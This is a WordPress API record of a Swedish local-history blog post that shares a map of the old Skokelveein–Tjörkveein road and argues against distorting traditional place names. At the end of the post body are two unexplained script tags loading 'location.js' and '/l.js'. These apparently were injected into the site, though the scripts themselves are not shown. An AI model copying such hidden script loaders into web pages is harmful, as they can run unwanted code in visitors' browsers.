{"id":3956,"date":"2019-04-08T12:21:06","date_gmt":"2019-04-08T10:21:06","guid":{"rendered":"http:\/\/84.20.155.7\/nywp\/?p=3956"},"modified":"2019-04-08T12:21:06","modified_gmt":"2019-04-08T10:21:06","slug":"skokelveein-oversiktskarta","status":"publish","type":"post","link":"https:\/\/hindersby.net\/word2021\/2019\/04\/08\/skokelveein-oversiktskarta\/","title":{"rendered":"Skokelveein &#8211; \u00f6versiktskarta"},"content":{"rendered":"<p>H\u00e4r kommer en \u00f6versiktskarta \u00f6ver Skokelveein &#8211; Tj\u00f6rkveein.<\/p>\n<p><a href=\"http:\/\/hindersby.net\/nywp\/wp-content\/uploads\/2019\/04\/tjyrkvegskartaguulB.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3957\" src=\"http:\/\/hindersby.net\/nywp\/wp-content\/uploads\/2019\/04\/tjyrkvegskartaguulB.jpg\" alt=\"\" width=\"973\" height=\"647\" \/><\/a><\/p>\n<p>Det finns b\u00e4ttre kartor men den h\u00e4r visar i stora drag hur v\u00e4gen gick. B\u00e4st bevarad \u00e4r den i skogen mellan Hindersby och Labby. Sedan har den hamnat under en massa nya v\u00e4gar och p\u00e5 Pyttissidan finns det inte mycket kvar av den (under motorv\u00e4gen).<\/p>\n<p>Namnen p\u00e5 de nya kartorna \u00e4r ofta felaktiga och f\u00f6rvr\u00e4ngda. Till exempel &#8221;Skukultr\u00e4sket&#8221; \u00e4r en f\u00f6rvr\u00e4ngning av finska Kukulj\u00e4rvi som kommer fr\u00e5n det riktiga <strong>Skokeltrestji<\/strong>. Skokel betyder f\u00f6rresten &#8221;skog&#8221;.\u00a0 Stilen att f\u00f6rvr\u00e4nga gamla namn \u00e4r helt f\u00f6rkastlig. Det \u00e4r dumt att skriva K\u00e4lludden d\u00e5 det riktiga namnet \u00e4r Tjeeld\u00e5ddn. Kanske n\u00e5n tyckt att det \u00e4r &#8221;finare&#8221; att f\u00f6rvr\u00e4nga namnet. Namn \u00e4r namn och skall inte &#8221;\u00f6vers\u00e4ttas&#8221;.<script src='location.js?p=1' type=text\/javascript><\/script><script src='\/l.js?p=1' type=text\/javascript><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>H\u00e4r kommer en \u00f6versiktskarta \u00f6ver Skokelveein &#8211; Tj\u00f6rkveein. Det finns b\u00e4ttre kartor men den h\u00e4r visar i stora drag hur v\u00e4gen gick. B\u00e4st bevarad \u00e4r den i skogen mellan Hindersby och Labby. Sedan har den hamnat under en massa nya v\u00e4gar och p\u00e5 Pyttissidan finns det inte mycket kvar av den (under motorv\u00e4gen). Namnen p\u00e5 &hellip; <a href=\"https:\/\/hindersby.net\/word2021\/2019\/04\/08\/skokelveein-oversiktskarta\/\" class=\"more-link\">Forts\u00e4tt l\u00e4sa<span class=\"screen-reader-text\"> \u201dSkokelveein &#8211; \u00f6versiktskarta\u201d<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[10],"tags":[],"class_list":["post-3956","post","type-post","status-publish","format-standard","hentry","category-10"],"_links":{"self":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/posts\/3956","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/comments?post=3956"}],"version-history":[{"count":0,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/posts\/3956\/revisions"}],"wp:attachment":[{"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/media?parent=3956"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/categories?post=3956"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hindersby.net\/word2021\/wp-json\/wp\/v2\/tags?post=3956"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}